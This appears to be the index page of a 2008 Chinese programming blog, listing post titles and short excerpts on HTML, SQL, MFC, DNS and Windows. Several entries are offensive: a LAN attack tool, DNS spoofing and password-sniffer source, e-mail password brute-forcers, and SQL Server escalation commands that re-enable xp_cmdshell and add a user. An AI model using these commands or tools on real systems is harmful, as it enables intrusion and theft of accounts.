[转载]HTML中小meta的大作用

meta 的属性有两种:name和http-equiv。name属性主要用于描述网页,对应于content(网页内容),以便于搜索引擎机器人查找、分类(目前几乎所有的搜索引擎都使用网上机器人自动查找meta值来给网页分类)。这其中最重要的是description(站点在搜索引擎上的描述)和keywords(分类关键词),所以应该给每页加一个meta值。比较常用的有以下几个: name 属性   1、<meta name="Generator" contect="">用以说明生成工具(如Microsoft FrontPage 4.0)等;   2、<meta name="KEY...
2008-04-06 10:43 | 阅读 1940 次 | 评论 0 条

堆栈传参实验

//c程序int add(int a,int b){ return a+b;}int main(){ int c; c=add(1,2); return 0;} //对应的汇编代码1: int add(int a,int b)2: {00401010 55 push ebp00401011 8B EC mov ebp,esp00401013 83 EC 40 sub esp,40h00401016 53 ...
2008-04-03 10:08 | 阅读 2788 次 | 评论 2 条

[转载]微机原理精彩问答

微机原理问答(转载) 第二章 1. 存储器与寄存器有什么不同?   答:寄存器在CPU的内部,它的访问速度快,但容量小(8086微处理器只有14个16位寄存器)、成本高,它用名字来标识(如AX、BX等),没有地址;存储器在CPU的外部,它的访问速度比寄存器慢,容量大(20根地址线寻址1M内存空间)、成本低,存储单元用地址来标识,地址可用各种方式形成。 2. 标志寄存器中的状态标志和控制标志有什么区别?   答:状态标志用来记录程序运行结果的状态信息,许多指令执行完毕后都相应地设置状态标志,它又称为条件码标志,包括进位标志、溢出标志、符号标志、零标志、奇偶标志等;控...
2008-04-03 10:02 | 阅读 3911 次 | 评论 0 条

[整理]域名解析图解

DNS的工作原理及过程分下面几个步骤: 第一步:客户机提出域名解析请求,并将该请求发送给本地的域名服务器。 第二步:当本地的域名服务器收到请求后,就先查询本地的缓存,如果有该纪录项,则本地的域名服务器就直接把查询的结果返回。 第三步:如果本地的缓存中没有该纪录,则本地域名服务器就直接把请求发给根域名服务器,然后根域名服务器再返回给本地域名服务器一个所查询域(根的子域) 的主域名服务器的地址。 第四步:本地服务器再向上一步返回的域名服务器发送请求,然后接受请求的服务器查询自己的缓存,如果没有该纪录,则返回相...
2008-03-30 10:46 | 阅读 2938 次 | 评论 0 条

[转载]数据库视图介绍

数据库视图介绍(一)什么是视图:  视图(view):从一个或几个基本表中根据用户需要而做成一个虚表  1:视图是虚表,它在存储时只存储视图的定义,而没有存储对应的数据  2:视图只在刚刚打开的一瞬间,通过定义从基表中搜集数据,并展现给用户   视图与查询的区别:   视图和查询都是用由sql语句组成,这是他们相同的地方,但是视图和查询有着本质区别:  它们的区别在于:  1:存储上的区别:视图存储为数据库设计的一部分,而查询则不是.  2:更新限制的要求不一样  要注意:因为视图来自于表,所以通过视图可以间接对表进行更新,我们也可以通过update语句对表进行更新,但是对视图和查询更新...
2008-03-24 19:31 | 阅读 1880 次 | 评论 0 条

[转载]精妙SQL语句收集

精妙SQL语句收集 SQL语句先前写的时候,很容易把一些特殊的用法忘记,我特此整理了一下SQL语句操作。一、基础1、说明:创建数据库CREATE DATABASE database-name 2、说明:删除数据库drop database dbname3、说明:备份sql server--- 创建 备份数据的 deviceUSE masterEXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'--- 开始 备份BACKUP DATABASE pubs TO testBack 4、说明:创建新表c...
2008-03-14 09:33 | 阅读 1954 次 | 评论 0 条

Windows开机密码遗忘解决又一法

Windows开机密码遗忘解决又一法RedIce 08.3.7Windows开机密码忘了,的确是一件令人头疼的问题。大家也想出了好多解决的办法,诸如:1 尝试使用Administrator用户登录。2 使用dospass或者深山红叶光盘带的NTPWEDIT.EXE程序破解。3 在Dos下使用系统备份的SAM文件(我的是在:C:\WINDOWS\system32\config\Newsid Backup)替换系统正在使用的SAM文件(C:\WINDOWS\system32\config)。4 还有一招比较绝的是在Dos下使用cmd.exe替换系统的默认屏保logon.scr文件,这样在登录...
2008-03-09 23:08 | 阅读 4520 次 | 评论 0 条

LanKiller(局域网杀手) V1.0

LanKiller(局域网杀手) V1.0 //By redice//E-mail:redice@see.xidian.edu.cn//http://redice.bookold.net 功能简介: &#160; 1、扫描存活主机 2、IP冲突攻击, 禁止上网(中断主机于网关通信) 3、LAN敏感信息捕获(校内网账号密码,ADSL路由器账号密码) 4、DNS欺骗 &#160; 开发平台: Windows+VC6.0(MFC)+Winpcap4.02 &#160; 程序运行截图: &#160; &#160; &#160; &#160;...
2008-03-05 08:42 | 阅读 6269 次 | 评论 0 条

[转载]C/C++语言误区之:void main( )

C/C++语言误区之:void main( ) 作者:antigloss 很多人甚至市面上的一些书籍,都使用了void main( ) ,其实这是错误的。C/C++ 中从来没有定义过void main( ) 。C++ 之父 Bjarne Stroustrup 在他的主页上的 FAQ 中明确地写着 The definition void main( ) { /* ... */ } is not and never has been C++, nor has it even been C.( void main( ) 从来就不存在于 C++ 或者 C )。下面我分别说一下...
2008-03-03 15:01 | 阅读 1933 次 | 评论 0 条

MFC学习_CListCtrl 的使用技巧

1 取得列表中数据的行数 int totalcount=m_list.GetItemCount();2 插入数据 m_list.InsertColumn( 0, "ID", LVCFMT_LEFT, 40 ); //添加表头 m_list.InsertColumn( 1, "NAME", LVCFMT_LEFT, 50 ); m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES|LVS_EX_CHECKBOXES); int nRow = m_list.InsertItem(0, “11”); //插入行 ...
2008-03-03 15:00 | 阅读 3143 次 | 评论 0 条

头文件与源文件

头文件的功能? (1)通过头文件来调用库功能。在很多场合,源代码不便(或不准)向用户公布,只要向用户提供头文件和二进制的库即可。用户只需要按照头文件中的接口声明来调用库功能,而不必关心接口怎么实现的。编译器会从库中提取相应的代码。(2)头文件能加强类型安全检查。如果某个接口被实现或被使用时,其方式与头文件中的声明不一致,编译器就会指出错误,这一简单的规则能大大减轻程序员调试、改错的负担。头文件用来存放函数原型。 头文件如何来关联源文件? ??? 这个问题实际上是说,已知头文件“a.h”声明了一系列函数(仅有函数原型,没有函数实现),“b.cpp”中实现了这些函数,那么如果...
2008-02-24 15:39 | 阅读 3512 次 | 评论 0 条

印象劫持及其防治

什么是印象劫持? 所谓的IFEO就是"Image File Execution Options" 都是注册表中的这个项惹得祸(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options). 由于这个项主要是用来调试程序用的,对一般用户意义不大(默认是只有管理员和local system有权读写修改)。原理说简单点就是因为NT在收到文件执行请求时,会先检查文件是否是可执行的(关键就在这里,会检查对应文件的相关映射!这时在ifeo中的内容将被调用)然后再检查...
2008-01-24 22:38 | 阅读 3947 次 | 评论 0 条

[Winpcap]DNS欺骗

//DNS欺骗工具//By RedIce//E-mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn#include <pcap.h>int k=1;/*物理帧头结构*/typedef struct { BYTE DesMAC[6];//目的MAC地址 BYTE SrcMAC[6];//源MAC地址 USHORT Ethertype;//帧类型}DLC_Header;//IP报头结构typedef struct { BYTE h_len; //IP版本号+IP头长度(单位:4字节) BYTE t...
2008-01-21 11:07 | 阅读 4804 次 | 评论 0 条

恢复被病毒修改的Web文件-HtmlRecover

今天上网,不幸中毒。最遭的时我的机器上有2000多个Web文件都被病毒插入了恶意代码,形如“<IFRAME. SRC="http://un.uiiiu.com/baidu.htm" WIDTH=0 HEIGHT=0></IFRAME>”(注:千万别点那个链接)。这下可麻烦了,这其中有很多是我辛辛苦苦写的系统,如果靠手工慢慢修改的话,不知道要花多长时间。于是只好写程序了....无奈 于是就有了这个东西的诞生,我称它"HtmlRecover",呵呵 其实 名字无所谓,只要好用就行...反正我那2000多个文件是恢复了。 开源吧!如果有朋友也遇到过这种情...
2008-01-16 17:59 | 阅读 2347 次 | 评论 4 条

E-mail密码暴力破解器-POP3

昨天发了一个用SMTP实现email帐号密码破解的工具,感觉不太理想(很多smtp服务器都有错误次数限制,动不动就限制IP)。后来查了一些资料,发现用pop3实现起来比较简单,而且我测试过没有出现限IP的情况出现。不过,由于是单线程,速度不是很快的... 发出来,共享吧。 //E-mail密码暴力破解器-POP3//By RedIce//E-mail:redice@see.xidian.edu.cn#include <stdio.h>#include <winsock2.h>#pragma comment(lib,"ws2_32.lib") FILE *FileOpr; SOCKET...
2008-01-16 11:38 | 阅读 3872 次 | 评论 1 条

E-mail密码暴力破解器-SMTP

原理:使用了SMTP验证检测 觉得效果不是太理想,过段时间,我再换成POP3验证检测试试,应该效果比这个好 还是那句话,别用来干坏事呀,我可不负责任。按照惯例,先给个截图: 下面是代码://E-mail密码暴力破解器//By RedIce//E-mail:redice@see.xidian.edu.cn#include <stdio.h>#include <winsock2.h>#pragma comment(lib,"ws2_32.lib") char* ch64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01...
2008-01-15 22:52 | 阅读 3602 次 | 评论 3 条

[Socket]HTTP报文提交工具

以前曾用VB6.0写过一个灌水工具,用了WinSock控件。不过我还是喜欢命令行的工具。最近正学习套接字,于是就用C重写了这个工具。功能比以前那个更大。用来学习HTTP协议或者用来灌水都是相当不错的(呵呵,别骂我...) 先发个截图 关于程序的使用方法,帮助里面有。按照老样子,开源: //HTTP报文提交工具 By RedIce//E-mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn#include <winsock2.h> //Winsock API头文件#include <stdio.h>#include...
2008-01-09 20:33 | 阅读 3310 次 | 评论 0 条

[WinPcap]ADSL路由器+校内网密码嗅探器

ADSL路由器密码+校内网([url]http://www.xiaonei.com[/url])密码嗅探器 说明:该程序使用WinPcap开发。仅用以学习交流,本人不承担使用该程序造成的一切责任。 如果你是WinPacp新手,请先看看我的这篇《WinPacp开发“准备活动”》 http://hi.bc-cn.net/112902/viewspace-8772 先发个截图: 以下是源代码: //By RedIce//E-mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn#include <pcap.h>in...
2008-01-08 11:10 | 阅读 5466 次 | 评论 10 条

WinPcap开发“准备活动”

WinPcap开发“准备活动” //By:RedIce//E-Mail:redice@see.xidian.edu.cn//http://redice.1.suhai.com.cn 要进行WinPcap开发,首先你需要做如下“准备活动” (1)到http://www.winpcap.org/ 下载WinPcap驱动程序和WinPcap开发包(WinPcap Developer's Packs)。然后安装WinPcap驱动程序。将WinPcap开发包解压缩,并将其中的Include目录和Lib目录放置到一个比较正式的位置,因为在我们的下面我们将引用这些头文件和库文件。 下载地址: ...
2008-01-06 15:08 | 阅读 3423 次 | 评论 0 条

得到Sa密码后-MsSql提权命令

昨日行幸得一Sa密码为Sa的Sql Server服务器。于是决定提权...... 下面是我用到的提权命令,放在这里以备将来只用. 一 系统Shell 恢复xp_cmdshellExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 使用xp_cmdshell添加用户exec xp_cmdshell 'net user user1 /add' 利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell...
2007-12-14 13:23 | 阅读 18076 次 | 评论 0 条
浏览585132次